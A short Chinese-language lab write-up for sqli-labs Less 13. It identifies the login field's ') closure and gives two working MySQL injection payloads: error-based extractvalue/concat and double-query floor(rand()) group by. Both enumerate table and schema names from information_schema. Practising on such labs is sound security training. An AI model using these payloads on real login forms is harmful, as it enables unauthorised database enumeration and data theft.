sqli labs less 13

进行语句注入点试探，发现是**(’ ‘)闭合语句 （图片上面写错了）。

在进行列数判断时发现列数为两列，但是语句为 ') union select 1,2 --+ 时发现在语句没有错误时并没有输出任何内容，但是在语法有错误时会报错，所以可以使用报错注入和双注入**进行测试。

报错注入：
uname=11’) union select 1,extractvalue (1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+
通过更改limit 函数的第一个参数来查询更多的内容。

双注入：
uname=11’) union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1)) --+
这个语句有50%几率报错，如果没报错则多发送几次即可。。